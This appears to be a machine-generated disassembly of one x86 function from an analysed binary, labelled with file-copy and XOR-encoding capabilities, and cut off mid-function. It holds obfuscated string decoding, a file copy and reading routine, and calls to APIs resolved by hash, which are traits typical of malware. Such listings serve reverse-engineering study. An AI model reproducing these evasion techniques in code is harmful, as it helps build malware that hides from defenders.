Function at 0x4264b6
Capabilities:
Copy file
Encode data using xor

Disassembly:
push dword [esp + 4]
call fcn.00425a90
add esp, 4
test al, al
je 0x4261f0
mov al, 1
ret
push ebp
push ebx
push edi
push esi
sub esp, 0xe0
mov dword [esp + 0xa0], 0x89388bdb
mov dword [esp + 0xa4], 0x850a8705
mov dword [esp + 0xa8], 0x8136833b
mov dword [esp + 0xac], 0x9dce9f34
mov dword [esp + 0xb0], 0x99169b23
mov dword [esp + 0xb4], 0x95969720
xor eax, eax
nop
nop
mov edx, eax
xor edx, 0x5d
mov ecx, eax
and ecx, 2
add ecx, ecx
sub ecx, edx
xor cl, byte [esp + eax + 0xa0]
add cl, 0xd1
mov byte [esp + eax + 0xa0], cl
mov ecx, eax
not ecx
or ecx, 1
add ecx, eax
or eax, 1
add eax, ecx
inc eax
cmp eax, 0x18
jb 0x426240
mov dword [esp + 0x14], 0x1fc819c4
mov dword [esp + 0x18], 0xe3291dd9
mov dword [esp + 0x1c], 0xe731e129
mov dword [esp + 0x20], 0xeb3ce530
mov dword [esp + 0x24], 0xef32e931
mov dword [esp + 0x28], 0xf333ed21
mov dword [esp + 0x2c], 0xf73ef137
mov dword [esp + 0x30], 0xfb28f53d
mov dword [esp + 0x34], 0xff22f93d
mov dword [esp + 0x38], 0xc311fd2b
mov dword [esp + 0x3c], 0xc712c10a
mov dword [esp + 0x40], 0xcb0bc51f
mov dword [esp + 0x44], 0xcf0bc91e
mov dword [esp + 0x48], 0xd308cd10
mov dword [esp + 0x4c], 0xd77ad171
mov dword [esp + 0x50], 0xdb7fd56e
mov dword [esp + 0x54], 0xdf09d904
mov dword [esp + 0x58], 0xa307dd68
mov dword [esp + 0x5c], 0xa70ba101
mov word [esp + 0x60], 0xa5a4
mov dword [esp + 0x62], 0
xor eax, eax
nop
nop
nop
nop
mov ecx, eax
add cl, 0xfa
xor cl, byte [esp + eax + 0x14]
add cl, 0x1e
mov byte [esp + eax + 0x14], cl
inc eax
cmp eax, 0x52
jne case.default.0x426354
lea eax, [esp + 0xa0]
lea esi, [esp + 0x14]
push eax
push esi
call fcn.00438340
add esp, 8
mov edi, eax
xor eax, eax
test edi, edi
sete al
jmp dword [eax*4 + 0x448b38]
mov ecx, edi
nop
nop
nop
mov eax, ecx
add ecx, 2
cmp word [eax], 0
jne 0x426360
sub eax, edi
cmp eax, 0xffffffd9
jge 0x426380
mov eax, 0xffffffff
jmp 0x426383
xor eax, eax
jmp 0x4274a7
add eax, 0x26
push eax
call fcn.0040ced0
add esp, 4
mov dword [esp + 0x68], eax
mov dword [esp + 0x14], 0xf749f95c
mov dword [esp + 0x18], 0xf340f547
mov dword [esp + 0x1c], 0xcf77f14a
mov dword [esp + 0x20], 0xcb6ecd77
mov dword [esp + 0x24], 0xc775c977
mov dword [esp + 0x28], 0xc378c576
mov dword [esp + 0x2c], 0xdf65c179
mov dword [esp + 0x30], 0xdb50ddae
mov dword [esp + 0x34], 0xd76cd964
mov word [esp + 0x38], 0xd5d4
mov dword [esp + 0x3a], 0
mov word [esp + 0x3e], 0
mov eax, 0x6495dd6
mov ecx, 0x29
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax - 0x6495dc2]
lea ebp, [edx + edx]
not ebp
add ebp, edx
and ebp, eax
and edx, ecx
mov ebx, ebp
xor ebx, edx
not edx
and edx, ebp
add ebx, ebp
sub ebx, edx
add bl, 0xd2
mov byte [esp + eax - 0x6495dc2], bl
inc eax
dec ecx
cmp eax, 0x6495e02
jne 0x426400
movzx ecx, word [edi]
mov ebp, dword [esp + 0x68]
mov eax, ebp
test cx, cx
je 0x426461
mov edx, edi
add edx, 2
mov eax, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x426450
mov word [eax], 0
movzx ecx, word [esp + 0x14]
test cx, cx
je 0x426491
lea edx, [esp + 0x16]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x426480
mov word [eax], 0
jmp dword [0x448b40]
push edi
call fcn.0040cee0
add esp, 4
xor eax, eax
cmp word [ebp], 0x2a
sete al
jmp dword [eax*4 + 0x448b48]
xor eax, eax
cmp word [ebp], 0x2a
sete al
jmp dword [eax*4 + 0x448b48]
mov dword [esp + 0x14], 0x81fc87c9
mov dword [esp + 0x18], 0x8d2f8324
mov dword [esp + 0x1c], 0x89388f3d
mov dword [esp + 0x20], 0x95218b26
mov dword [esp + 0x24], 0x9132973d
mov dword [esp + 0x28], 0x9d23933d
mov dword [esp + 0x2c], 0x99309f2a
mov dword [esp + 0x30], 0xe5339b33
mov dword [esp + 0x34], 0xe158e792
mov dword [esp + 0x38], 0xed4ce34c
mov word [esp + 0x3c], 0xefec
mov dword [esp + 0x3e], 0
mov eax, 0xde
nop
nop
nop
nop
nop
mov edx, eax
and edx, 0xc2
lea ecx, [eax - 0xc0]
and ecx, 0x3d
or ecx, edx
xor cl, byte [esi]
mov dl, 0x5a
sub dl, cl
mov byte [esi], dl
inc esi
dec eax
cmp eax, 0xb0
jne case.default.0x426581
lea eax, [esp + 0x14]
push 0
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0x60
push 3
push 0x120089
lea eax, [esp + 0xac]
push eax
push ebp
call fcn.00440ca0
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x448b50]
mov dword [esp + 8], 0
xor ebx, ebx
jmp dword [0x448bd0]
lea eax, [esp + 0x74]
push 0
push eax
push dword [esp + 0xa8]
call fcn.00440fe0
add esp, 0xc
not eax
shr eax, 0x1f
xor ebx, ebx
mov dword [esp + 8], 0
jmp dword [eax*4 + 0x448b58]
mov esi, dword [esp + 0x74]
lea eax, [esi + 1]
push eax
call fcn.0040ced0
add esp, 4
push 0
push esi
mov dword [esp + 8], eax
push eax
push dword [esp + 0xac]
call fcn.004410b0
add esp, 0x10
not eax
shr eax, 0x1f
xor ebx, ebx
xor edi, edi
jmp dword [eax*4 + 0x448b60]
mov edi, dword [esp]
jmp dword [0x448b6c]
mov esi, dword [esp + 0x74]
mov byte [edi + esi], 0
jmp dword [0x448b74]
mov eax, dword [esp + 0x74]
mov byte [edi + eax], 0
mov esi, dword [esp + 0x74]
mov byte [edi + esi], 0
jmp dword [0x448b74]
push 0x20
call fcn.0040ced0
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [esp + 0x6c], eax
mov ecx, eax
push esi
push edi
call fcn.00428b80
movzx eax, al
xor ebx, ebx
xor edi, edi
jmp dword [eax*4 + 0x448b88]
mov dword [esp + 0x14], 0x37242e53
mov dword [esp + 0x18], 0x22342433
mov dword [esp + 0x1c], 0x272b5f67
mov dword [esp + 0x20], 0x5c61283a
mov dword [esp + 0x24], 0x3e333424
mov dword [esp + 0x28], 0x3435547b
mov dword [esp + 0x2c], 0x2f342c37
mov dword [esp + 0x30], 0x9d2f
xor eax, eax
mov ecx, 0x253ca1f
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax + 0x14]
mov esi, ecx
xor esi, edx
mov edi, eax
xor edi, 0x1f
and edi, edx
not edx
and edx, ecx
sub edx, esi
add edx, eax
add edx, 0xfdac35e0
or edx, edi
add dl, 0xa0
mov byte [esp + eax + 0x14], dl
inc eax
dec ecx
cmp eax, 0x20
jne case.default.0x426717
lea eax, [esp + 0x14]
mov ecx, dword [esp + 0x6c]
push eax
call fcn.00428d70
xor ecx, ecx
test eax, eax
setne cl
xor ebx, ebx
xor edi, edi
jmp dword [ecx*4 + 0x448b90]
mov ebp, dword [esp + 0x68]
jmp dword [0x448bc0]
mov dword [esp + 8], edi
mov esi, dword [esp + 0x6c]
mov ecx, esi
call fcn.00428ed0
push esi
call fcn.0040cee0
add esp, 4
jmp dword [0x448bc8]
mov dword [esp + 8], edi
jmp dword [0x448bc8]
push dword [esp]
call fcn.0040cee0
add esp, 4
mov eax, dword [esp + 0xa0]
mov dword [esp + 0x14], 0xf4f5fafb
mov word [esp + 0x18], 0
mov byte [esp + 0x1a], 0
mov ecx, 0x6e3a7956
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx - 0x6e3a7942]
not edx
mov esi, ecx
or esi, edx
lea edi, [esi + esi]
not edi
add edi, esi
and edx, ecx
or edx, edi
mov esi, edx
not esi
and esi, 0xaf
and edx, 0x50
sub edx, esi
inc dl
mov byte [esp + ecx - 0x6e3a7942], dl
inc ecx
cmp ecx, 0x6e3a795d
jne 0x426780
mov ecx, dword [0x44cf90]
test ecx, ecx
je 0x4267ec
mov edx, dword [esp + 0x14]
xor esi, esi
mov edi, dword [0x44cf94]
cmp dword [edi + esi*8], 0xb62b8d10
je 0x4267e0
inc esi
cmp ecx, esi
jne 0x4267d0
jmp 0x4267ec
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x426ec0
jmp dword [0x448bd0]
push ebp
call fcn.0040cee0
add esp, 4
nop
nop
nop
nop
nop
jmp dword [0x448be4]
xor eax, eax
mov ecx, dword [esp + 8]
cmp ecx, ebx
sete al
jmp dword [eax*4 + 0x448be8]
jmp dword [0x448bf4]
mov ebp, ebx
mov dword [esp + 0x14], 0x49be4b97
mov dword [esp + 0x18], 0x45db47d9
mov dword [esp + 0x1c], 0x41d643db
mov dword [esp + 0x20], 0x7dee7fbf
mov dword [esp + 0x24], 0x79867bec
mov dword [esp + 0x28], 0x75fa77e7
mov dword [esp + 0x2c], 0x71a973eb
mov dword [esp + 0x30], 0x6d836f94
mov dword [esp + 0x34], 0x69f16be0
mov dword [esp + 0x38], 0x65f567f7
mov dword [esp + 0x3c], 0x61f66380
mov dword [esp + 0x40], 0x1d831ff1
mov dword [esp + 0x44], 0x198e1b83
mov dword [esp + 0x48], 0x159c17ca
mov dword [esp + 0x4c], 0x11881388
lea eax, [esp + 0x50]
mov word [esp + 0x50], 0xf10
mov dword [esp + 0x52], 0
mov byte [esp + 0x56], 0
mov ecx, 0x93ed7c93
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx + 0x6c128381]
xor edx, ecx
mov esi, edx
and esi, 1
mov edi, 0xdf
sub edi, edx
not edi
or edi, 1
or edx, 1
add edx, 0x20
and edx, edi
add edx, esi
mov byte [esp + ecx + 0x6c128381], dl
inc ecx
cmp ecx, 0x93ed7cd6
jne 0x4268c0
lea edx, [esp + 0x14]
mov ecx, 0xf
lea esi, [esp + 0xa0]
mov edi, esi
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [esp + 0xdc]
mov ecx, 1
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
lea edi, [esp + 0x7c]
push edi
push 0
push 0
push 0x1e
push esi
push 0
call dword [0x44cf8c]
mov ebx, dword [esp + 0x7c]
test ebx, ebx
jns 0x426950
mov eax, 0xffffffff
jmp 0x426953
xor eax, eax
test ecx, ecx
jne 0x427472
jmp 0x4274a7
lea eax, [ebx + ebx]
push eax
call fcn.0040ced0
add esp, 4
mov esi, eax
push edi
push ebx
push eax
push 0x1e
lea eax, [esp + 0xb0]
push eax
push 0
call dword [0x44cf8c]
lea eax, [esp + 0x70]
push 0x60
push 3
push 0x120089
push eax
push esi
call fcn.00440ca0
add esp, 0x14
mov ebx, ebp
jmp case.0x426717.24
mov eax, 0xffffffff
push eax
call fcn.0040ced0
add esp, 4
push esi
mov esi, eax
push ebx
push eax
push 0x1e
lea eax, [esp + 0xb0]
push eax
push 0
call dword [0x44cf8c]
lea eax, [esp + 0x70]
push 0x60
push 3
push 0x120089
push eax
push esi
call fcn.00440ca0
add esp, 0x14
mov ebx, ebp
jmp dword [0x448bfc]
mov ebp, ebx
mov eax, ebx
sub eax, dword [esp + 8]
sar eax, 3
mov ecx, eax
and ecx, 0x421
mov edx, eax
or eax, 0x421
imul eax, ecx
xor ecx, 0x421
and edx, 0xfffffbde
imul edx, ecx
add eax, edx
push eax
call fcn.0040ced0
add esp, 4
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 0x49be4b97
mov dword [esp + 0x18], 0x45db47d9
mov dword [esp + 0x1c], 0x41d643db
mov dword [esp + 0x20], 0x7dee7fbf
mov dword [esp + 0x24], 0x79867bec
mov dword [esp + 0x28], 0x75fa77e7
mov dword [esp + 0x2c], 0x71a973eb
mov dword [esp + 0x30], 0x6d836f94
mov dword [esp + 0x34], 0x69f16be0
mov dword [esp + 0x38], 0x65f567f7
mov dword [esp + 0x3c], 0x61f66380
mov dword [esp + 0x40], 0x1d831ff1
mov dword [esp + 0x44], 0x198e1b83
mov dword [esp + 0x48], 0x159c17ca
mov dword [esp + 0x4c], 0x11881388
lea eax, [esp + 0x50]
mov word [esp + 0x50], 0xf10
mov dword [esp + 0x52], 0
mov byte [esp + 0x56], 0
mov ecx, 0x93ed7c93
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx + 0x6c128381]
xor edx, ecx
mov esi, edx
and esi, 1
mov edi, 0xdf
sub edi, edx
not edi
or edi, 1
or edx, 1
add edx, 0x20
and edx, edi
add edx, esi
mov byte [esp + ecx + 0x6c128381], dl
inc ecx
cmp ecx, 0x93ed7cd6
jne 0x426ab0
lea edx, [esp + 0x14]
mov ecx, 0xf
lea ebx, [esp + 0xa0]
mov edi, ebx
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [esp + 0xdc]
mov ecx, 1
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
lea esi, [esp + 0x7c]
push esi
push 0
push 0
push 0x1e
push ebx
push 0
call dword [0x44cf8c]
mov ebx, dword [esp + 0x7c]
test ebx, ebx
js 0x426990
lea eax, [ebx + ebx]
jmp 0x426995
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x448c00]
xor eax, eax
mov ebp, dword [esp + 0x10]
mov dword [esp + 0xc], ebp
jmp dword [0x448cb8]
push esi
mov esi, eax
call fcn.0040cee0
add esp, 4
mov eax, esi
mov dword [esp], esi
and al, 1
movzx eax, al
jmp dword [eax*4 + 0x448cc0]
mov eax, dword [esp + 0xc]
jmp dword [0x448ccc]
mov byte [eax], 0
jmp dword [0x448cd0]
mov byte [eax], 0
mov byte [eax], 0
jmp dword [0x448cd0]
mov dword [esp + 0x14], 0x7020151
mov dword [esp + 0x18], 0x33f3e35
mov dword [esp + 0x1c], 0x80c0e31
mov dword [esp + 0x20], 0x2a1a3653
mov dword [esp + 0x24], 0x3f551421
mov dword [esp + 0x28], 0x1923261b
mov dword [esp + 0x2c], 0x13165f1b
mov dword [esp + 0x30], 0x75e8
mov byte [esp + 0x34], 0
mov eax, 0x26a432e4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax - 0x26a432d0]
mov edx, ecx
and edx, eax
add dl, dl
sub cl, dl
movzx ecx, cl
add ecx, eax
add cl, 0x8c
mov byte [esp + eax - 0x26a432d0], cl
inc eax
cmp eax, 0x26a43305
jne 0x426bf0
mov eax, dword [esp + 0xc]
sub eax, ebp
mov ecx, dword [esp + 0xf4]
push eax
push ebp
lea eax, [esp + 0x1c]
push eax
call fcn.0040d8c0
mov dword [esp], eax
jmp dword [0x448cd8]
mov dword [esp + 0x6c], esi
lea eax, [esp + 0x94]
push 0
push eax
push dword [esp + 0x78]
call fcn.00440fe0
add esp, 0xc
not eax
shr eax, 0x1f
mov dword [esp], 0
mov ebp, dword [esp + 0x10]
mov dword [esp + 0xc], ebp
jmp dword [eax*4 + 0x448c08]
mov esi, dword [esp + 0x94]
lea eax, [esi + 1]
push eax
call fcn.0040ced0
add esp, 4
push 0
push esi
mov dword [esp + 0x8c], eax
push eax
push dword [esp + 0x7c]
call fcn.004410b0
add esp, 0x10
not eax
shr eax, 0x1f
mov dword [esp], 0
mov dword [esp + 0xc], ebp
jmp dword [eax*4 + 0x448c10]
mov esi, dword [esp + 0x94]
mov edi, dword [esp + 0x84]
mov byte [edi + esi], 0
push 0x20
call fcn.0040ced0
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [esp + 0x80], eax
mov ecx, eax
push esi
push edi
call fcn.00428b80
movzx eax, al
mov dword [esp], 0
mov dword [esp + 0xc], ebp
jmp dword [eax*4 + 0x448c18]
mov dword [esp + 0x14], 0x5303a21
mov dword [esp + 0x18], 0x3e083801
mov dword [esp + 0x1c], 0x353d29f5
mov dword [esp + 0x20], 0x30ef240a
mov dword [esp + 0x24], 0x2a252010
mov dword [esp + 0x28], 0x2727cae9
mov dword [esp + 0x2c], 0x1d2f2826
mov dword [esp + 0x30], 0x555350cd
mov word [esp + 0x34], 0xeb57
mov dword [esp + 0x36], 0
mov byte [esp + 0x3a], 0
mov eax, 0x817010a5
mov ecx, 0x7e8fef5c
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax + 0x7e8fef6f]
lea esi, [eax + 0x7ffffffe]
lea edi, [ecx - 0x70000000]
and edi, 0xc8cae1c
and esi, 0x11010e3
or esi, edi
xor esi, edx
xor esi, 0xcecae1c
or esi, ecx
add edx, eax
lea esi, [edx + esi*2]
mov edi, esi
or edi, 0x8b
and esi, 0x8a
and edx, 1
or edx, esi
add edx, edi
add dl, 0x46
mov byte [esp + eax + 0x7e8fef6f], dl
inc eax
dec ecx
cmp eax, 0x817010cc
jne 0x426d80
mov ecx, dword [esp + 0x80]
lea eax, [esp + 0x14]
push eax
call fcn.00428d70
xor ecx, ecx
test eax, eax
setne cl
mov dword [esp], 0
mov edx, dword [esp + 0x10]
mov dword [esp + 0xc], edx
jmp dword [ecx*4 + 0x448c20]
mov ebp, dword [esp + 0x10]
jmp dword [0x448ca8]
mov esi, dword [esp + 0x80]
mov ecx, esi
call fcn.00428ed0
push esi
call fcn.0040cee0
add esp, 4
jmp dword [0x448cb0]
jmp dword [0x448cb0]
push dword [esp + 0x84]
call fcn.0040cee0
add esp, 4
mov eax, dword [esp + 0x70]
mov dword [esp + 0x14], 0xf4f5fafb
mov word [esp + 0x18], 0
mov byte [esp + 0x1a], 0
mov ecx, 0x6e3a7956
movzx edx, byte [esp + ecx - 0x6e3a7942]
not edx
mov esi, ecx
or esi, edx
lea edi, [esi + esi]
not edi
add edi, esi
and edx, ecx
or edx, edi
mov esi, edx
not esi
and esi, 0xaf
and edx, 0x50
sub edx, esi
inc dl
mov byte [esp + ecx - 0x6e3a7942], dl
inc ecx
cmp ecx, 0x6e3a795d
jne 0x426e60
mov ecx, dword [0x44cf90]
test ecx, ecx
je 0x426ee0
mov edx, dword [esp + 0x14]
xor esi, esi
mov edi, dword [0x44cf94]
cmp dword [edi + esi*8], 0xb62b8d10
je 0x426ed8
inc esi
cmp ecx, esi
jne 0x426eb0
jmp 0x426ee0
push eax
push 1
push ecx
push dword [0x44cf98]
call fcn.0043d020
add esp, 0x10
jmp dword [0x448bd0]
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x426f08
mov esi, dword [esp + 0x6c]
mov eax, dword [esp]
jmp dword [0x448cb8]
mov dword [esp], eax
and al, 1
movzx eax, al
jmp dword [eax*4 + 0x448cc0]
jmp dword [0x448cd8]
jmp dword [0x448ce0]
push eax
push 1
push ecx
push dword [0x44cf98]
call fcn.0043d020
add esp, 0x10
mov esi, dword [esp + 0x6c]
mov eax, dword [esp]
jmp dword [0x448cb8]
add eax, 8
xor edi, edi
mov ecx, dword [eax]
xor eax, eax
mov dword [esp + 4], ecx
test ecx, ecx
setne al
xor ebx, ebx
xor ebp, ebp
jmp dword [eax*4 + 0x448b98]
mov ecx, dword [esp + 4]
add ecx, 4
mov ecx, dword [ecx]
xor eax, eax
mov dword [esp + 4], ecx
test ecx, ecx
setne al
jmp dword [eax*4 + 0x448b98]
jmp dword [0x448ba0]
mov eax, dword [esp + 4]
mov edx, dword [eax]
mov ecx, ebx
sub ecx, edi
cmp ebx, ebp
mov dword [esp + 8], edi
je 0x426f8c
mov esi, ebx
mov ebx, edi
jmp 0x42700e
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], ecx
mov eax, ecx
sar eax, 3
inc eax
mov ecx, ebp
sub ecx, edi
sar ecx, 3
mov edi, ecx
shr edi, 1
add edi, ecx
cmp edi, eax
ja 0x426fad
mov edi, eax
lea eax, [edi*8]
push eax
call fcn.0040ced0
add esp, 4
mov ebx, eax
mov edx, dword [esp + 8]
test edx, edx
je 0x426ffb
cmp edx, ebp
je 0x426ff2
xor eax, eax
nop
nop
nop
mov ecx, dword [edx + eax]
mov dword [ebx + eax], ecx
mov ecx, dword [edx + eax + 4]
mov dword [ebx + eax + 4], ecx
mov dword [edx + eax], 0
lea ecx, [edx + eax]
add ecx, 8
add eax, 8
cmp ecx, ebp
jne 0x426fd0
push edx
call fcn.0040cee0
add esp, 4
lea ebp, [ebx + edi*8]
mov esi, ebx
mov ecx, dword [esp + 0xc]
add esi, ecx
mov dword [esp + 8], ebx
mov edx, dword [esp + 0x10]
add ecx, ebx
call fcn.00429c00
add esi, 8
mov edi, dword [esp + 8]
mov ebx, esi
jmp case.0x426717.3
push edx
call fcn.0040cee0
add esp, 4
lea ebp, [edi + ebx*8]
mov ebx, edi
add ebx, esi
mov edx, dword [esp + 0x10]
add esi, edi
mov ecx, esi
call fcn.00429c00
add ebx, 8
jmp dword [0x448ba8]
mov eax, dword [esp + 4]
mov edx, dword [eax]
mov esi, ebx
sub esi, edi
cmp ebx, ebp
jne 0x427034
mov dword [esp + 0x10], edx
mov eax, esi
sar eax, 3
inc eax
mov ecx, ebp
mov dword [esp + 8], edi
sub ecx, edi
sar ecx, 3
mov ebx, ecx
shr ebx, 1
add ebx, ecx
cmp ebx, eax
ja 0x427075
mov ebx, eax
lea eax, [ebx*8]
push eax
call fcn.0040ced0
add esp, 4
mov edi, eax
mov edx, dword [esp + 8]
test edx, edx
je 0x427029
cmp edx, ebp
je 0x427020
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [edx + eax]
mov dword [edi + eax], ecx
mov ecx, dword [edx + eax + 4]
mov dword [edi + eax + 4], ecx
mov dword [edx + eax], 0
lea ecx, [edx + eax]
add ecx, 8
add eax, 8
cmp ecx, ebp
jne 0x4270a0
jmp 0x427020
add eax, 8
mov dword [esp], 0
mov edx, dword [eax]
xor eax, eax
test edx, edx
setne al
mov ecx, dword [esp + 0x10]
mov dword [esp + 0xc], ecx
jmp dword [eax*4 + 0x448c28]
add edx, 4
mov edx, dword [edx]
xor eax, eax
test edx, edx
setne al
jmp dword [eax*4 + 0x448c28]
mov eax, dword [edx]
cmp dword [edx + 0x18], 3
mov ebp, 0
jne case.default.0x427126
mov ebp, dword [edx + 0x10]
mov dword [esp + 0x68], eax
test eax, eax
setne al
test ebp, ebp
setne cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x448c30]
mov dword [esp + 0x9c], edx
mov eax, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
inc eax
cmp byte [ecx], 0
jne case.default.0x427172
sub ecx, ebp
inc ecx
shr ecx, 1
mov dword [esp + 0x98], ecx
lea eax, [ecx + 1]
push eax
call fcn.0040ced0
add esp, 4
movsx edx, byte [ebp]
xor ecx, ecx
test edx, edx
setne cl
mov dword [esp + 0x88], eax
jmp dword [ecx*4 + 0x448c38]
inc ebp
mov byte [eax], cl
inc eax
movsx edx, byte [ebp]
xor ecx, ecx
test edx, edx
setne cl
mov ebx, dword [esp + 4]
jmp dword [ecx*4 + 0x448c38]
mov dword [esp + 4], ebx
lea ecx, [edx - 0x30]
cmp ecx, 0xa
jb 0x4271ab
mov ecx, 0xffffffff
mov ebx, edx
and ebx, 0xffffffdf
mov edi, edx
xor edi, 0x20
add edi, edx
sub edi, ebx
lea edx, [edi - 0x61]
cmp edx, 6
jae case.default.0x4271d1
add edi, 0xffffffa9
mov ecx, edi
movsx ebx, byte [ebp + 1]
xor edx, edx
test ebx, ebx
setne dl
jmp dword [edx*4 + 0x448c40]
lea edx, [ebx - 0x30]
cmp edx, 0xa
jb 0x4271e5
mov edx, 0xffffffff
mov esi, ebx
and esi, 0xffffffdf
mov edi, ebx
xor edi, 0x20
add edi, ebx
sub edi, esi
lea esi, [edi - 0x61]
cmp esi, 6
jae case.default.0x42721a
add edi, 0xffffffa9
mov edx, edi
mov ebx, dword [esp + 4]
shl ecx, 4
or ecx, edx
add ebp, 2
mov byte [eax], cl
inc eax
movsx edx, byte [ebp]
xor ecx, ecx
test edx, edx
setne cl
jmp dword [ecx*4 + 0x448c38]
mov byte [eax], 0
push 0
push 0x10
push 0
push dword [esp + 0x74]
call fcn.00428f70
add esp, 0x10
mov dword [esp + 0x68], eax
xor ebp, ebp
mov ecx, dword [case.0x4271d1.103]
xor eax, eax
mov edi, dword [esp + 8]
mov dword [esp + 4], ebx
cmp edi, ebx
setne al
jmp dword [eax*4 + 0x448c48]
mov ebp, dword [edi]
xor ebx, ebx
jmp dword [ebx*4 + 0x448c68]
add edi, 8
xor ebx, ebx
cmp edi, dword [esp + 4]
setne bl
jmp dword [ebx*4 + 0x448c48]
jmp ecx
mov esi, dword [edi + 4]
mov ebx, esi
shr ebx, 0x1c
shl esi, 4
or esi, 1
xor ebx, edx
xor esi, dword [esp + 0x68]
xor eax, eax
or esi, ebx
sete al
jmp dword [eax*4 + 0x448c60]
mov ebx, 1
jmp dword [ebx*4 + 0x448c68]
xor eax, eax
test ebp, ebp
setne al
jmp dword [eax*4 + 0x448c70]
mov ebx, dword [esp + 4]
jmp dword [0x448c80]
mov eax, dword [esp + 0x98]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x88]
mov dword [esp + 0x18], eax
mov eax, 0xffffffff
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [ebp + eax + 1], 0
lea eax, [eax + 1]
jne case.default.0x427352
mov dword [esp + 0x74], eax
mov dword [esp + 0x78], ebp
mov dword [esp + 0x8c], 0
mov dword [esp + 0x90], 0
push 0x14e20a34
push dword [0x44cf9c]
call fcn.00440270
add esp, 8
lea ecx, [esp + 0x8c]
lea edx, [esp + 0x74]
push ecx
push 1
push 0
push 0
push edx
push 0
lea ecx, [esp + 0x2c]
push ecx
call eax
xor ecx, ecx
test eax, eax
setne cl
mov ebx, dword [esp + 4]
jmp dword [ecx*4 + 0x448c78]
jmp dword [0x448c80]
movzx eax, byte [ebp]
test al, al
je 0x42737e
inc ebp
mov ecx, dword [esp + 0xc]
nop
nop
nop
nop
mov byte [ecx], al
inc ecx
movzx eax, byte [ebp]
inc ebp
test al, al
jne 0x427370
jmp 0x427382
mov ecx, dword [esp + 0xc]
mov word [ecx], 0x203a
mov eax, ecx
add eax, 2
mov esi, dword [esp + 0x8c]
test esi, esi
je 0x4273cb
mov ecx, dword [esp + 0x90]
mov edi, esi
and edi, 3
je 0x4273cf
xor ebx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [ecx]
cmp dl, 1
sbb ecx, 0xffffffff
mov byte [eax + ebx], dl
inc ebx
cmp edi, ebx
jne 0x4273b0
add eax, ebx
mov edx, esi
sub edx, ebx
mov edi, eax
jmp 0x4273d1
mov esi, eax
jmp 0x427419
mov edx, esi
cmp esi, 4
mov esi, edi
jb 0x427419
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 1], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 2], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
lea esi, [eax + 4]
mov byte [eax + 3], bl
mov eax, esi
add edx, 0xfffffffc
jne 0x4273e0
mov byte [esi], 0xa
inc esi
mov dword [esp + 0xc], esi
push 0xbe5098bb
push dword [0x44cf84]
call fcn.00440270
add esp, 8
push dword [esp + 0x90]
call eax
mov al, 1
mov dword [esp], eax
mov ebx, dword [esp + 4]
jmp dword [0x448c80]
push dword [esp + 0x88]
call fcn.0040cee0
add esp, 4
mov eax, dword [case.0x426581.78]
jmp eax
mov eax, dword [case.0x427126.0]
mov edx, dword [esp + 0x9c]
nop
nop
jmp eax
cmp ecx, ebx
je 0x4274a7
mov ebp, eax
mov esi, ecx
jmp 0x427487
add esi, 8
cmp esi, ebx
je 0x42749c
mov eax, dword [esi]
test eax, eax
je 0x427480
push eax
mov edi, ecx
call fcn.0040cee0
mov ecx, edi
add esp, 4
jmp 0x427480
push ecx
call fcn.0040cee0
add esp, 4
mov eax, ebp
add esp, 0xe0
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [esp]
and al, 1
mov ecx, dword [esp + 8]
test ecx, ecx
jne 0x427472
jmp 0x4274a7
push ebp
call fcn.0040cee0
add esp, 4
push ebp
call fcn.0040cee0
add esp, 4
jmp dword [0x448ce8]
int3
jmp dword [0x448d08]
push ebp
call fcn.0040cee0
add esp, 4
jmp dword [0x448de4]
mov ecx, dword [esp + 0x80]
add ecx, 4
xor eax, eax
cmp ecx, 0xc
setne al
jmp dword [eax*4 + 0x448d00]
mov dword [esp + 0x80], ecx
mov edi, dword [esp + ecx + 0x90]
